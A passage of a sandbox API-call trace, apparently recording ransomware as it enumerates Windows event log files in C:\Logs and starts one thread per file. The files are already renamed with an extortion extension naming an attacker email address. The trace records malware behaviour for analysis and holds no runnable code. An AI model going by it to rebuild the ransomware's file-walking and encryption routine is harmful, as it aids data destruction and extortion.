Flags=0x8, Size=0xb8) returned 0x2f963a0 [0163.808] wcscpy (in: _Dest=0x2f963a0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.808] wcscat (in: _Dest=0x2f963a0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.808] wcscat (in: _Dest=0x2f963a0, _Source="Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f963a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0163.809] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x807e2c22, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x211100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI18CA~1.D0E")) returned 1 [0163.809] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.809] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.810] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2f883d0 [0163.810] wcscpy (in: _Dest=0x2f883d0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.810] wcscat (in: _Dest=0x2f883d0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.810] wcscat (in: _Dest=0x2f883d0, _Source="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f883d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0163.810] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e03a263, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI8C36~1.D0E")) returned 1 [0163.810] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.810] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.810] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2f88b20 [0163.810] wcscpy (in: _Dest=0x2f88b20, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.811] wcscat (in: _Dest=0x2f88b20, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.811] wcscat (in: _Dest=0x2f88b20, _Source="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" [0163.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f88b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0163.811] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e06071b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIA193~1.D0E")) returned 1 [0163.811] wcscmp (_String1="Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.811] wcscmp (_String1="Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.811] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f96460 [0163.811] wcscpy (in: _Dest=0x2f96460, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.811] wcscat (in: _Dest=0x2f96460, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.812] wcscat (in: _Dest=0x2f96460, _Source="Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0163.812] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e0ac9b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MID95A~1.D0E")) returned 1 [0163.812] wcscmp (_String1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.812] wcscmp (_String1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.812] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97bb8 [0163.812] wcscpy (in: _Dest=0x2f97bb8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.812] wcscat (in: _Dest=0x2f97bb8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.812] wcscat (in: _Dest=0x2f97bb8, _Source="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0163.813] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e0d2c44, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI6A68~1.D0E")) returned 1 [0163.813] wcscmp (_String1="Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.813] wcscmp (_String1="Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f96520 [0163.813] wcscpy (in: _Dest=0x2f96520, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.813] wcscat (in: _Dest=0x2f96520, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.813] wcscat (in: _Dest=0x2f96520, _Source="Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0163.814] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e16b796, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIADD8~1.D0E")) returned 1 [0163.814] wcscmp (_String1="Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.814] wcscmp (_String1="Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f965e0 [0163.814] wcscpy (in: _Dest=0x2f965e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.814] wcscat (in: _Dest=0x2f965e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.814] wcscat (in: _Dest=0x2f965e0, _Source="Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f965e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0163.815] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e191802, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICD88~1.D0E")) returned 1 [0163.815] wcscmp (_String1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.815] wcscmp (_String1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.815] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97138 [0163.815] wcscpy (in: _Dest=0x2f97138, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.815] wcscat (in: _Dest=0x2f97138, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.815] wcscat (in: _Dest=0x2f97138, _Source="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0163.815] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e1e2387, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI3D04~1.D0E")) returned 1 [0163.815] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.815] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.815] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f966a0 [0163.815] wcscpy (in: _Dest=0x2f966a0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.815] wcscat (in: _Dest=0x2f966a0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.815] wcscat (in: _Dest=0x2f966a0, _Source="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.mailto[kokoklock@cock.li].d0e731" [0163.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f966a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0163.816] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e203fe5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI4BD5~1.D0E")) returned 1 [0163.816] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.816] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.816] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f96760 [0163.816] wcscpy (in: _Dest=0x2f96760, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.816] wcscat (in: _Dest=0x2f96760, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.816] wcscat (in: _Dest=0x2f96760, _Source="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0163.817] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f234bd9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIE8D0~1.D0E")) returned 1 [0163.817] wcscmp (_String1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.817] wcscmp (_String1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.817] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x2f95718 [0163.817] wcscpy (in: _Dest=0x2f95718, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.817] wcscat (in: _Dest=0x2f95718, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.817] wcscat (in: _Dest=0x2f95718, _Source="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f95718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0163.818] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e2c2ae2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI0F34~1.D0E")) returned 1 [0163.818] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.818] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.818] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f96820 [0163.818] wcscpy (in: _Dest=0x2f96820, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.818] wcscat (in: _Dest=0x2f96820, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.818] wcscat (in: _Dest=0x2f96820, _Source="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0163.819] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e2e8d0d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MID591~1.D0E")) returned 1 [0163.819] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.819] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.819] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f968e0 [0163.819] wcscpy (in: _Dest=0x2f968e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.819] wcscat (in: _Dest=0x2f968e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.819] wcscat (in: _Dest=0x2f968e0, _Source="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f968e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0163.819] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e335197, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI744D~1.D0E")) returned 1 [0163.819] wcscmp (_String1="Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.819] wcscmp (_String1="Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.819] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6ddc0 [0163.819] wcscpy (in: _Dest=0x2f6ddc0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.819] wcscat (in: _Dest=0x2f6ddc0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.820] wcscat (in: _Dest=0x2f6ddc0, _Source="Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ddc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0163.820] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e35b401, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI291F~1.D0E")) returned 1 [0163.820] wcscmp (_String1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.820] wcscmp (_String1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.820] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f83738 [0163.820] wcscpy (in: _Dest=0x2f83738, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.820] wcscat (in: _Dest=0x2f83738, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.820] wcscat (in: _Dest=0x2f83738, _Source="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") 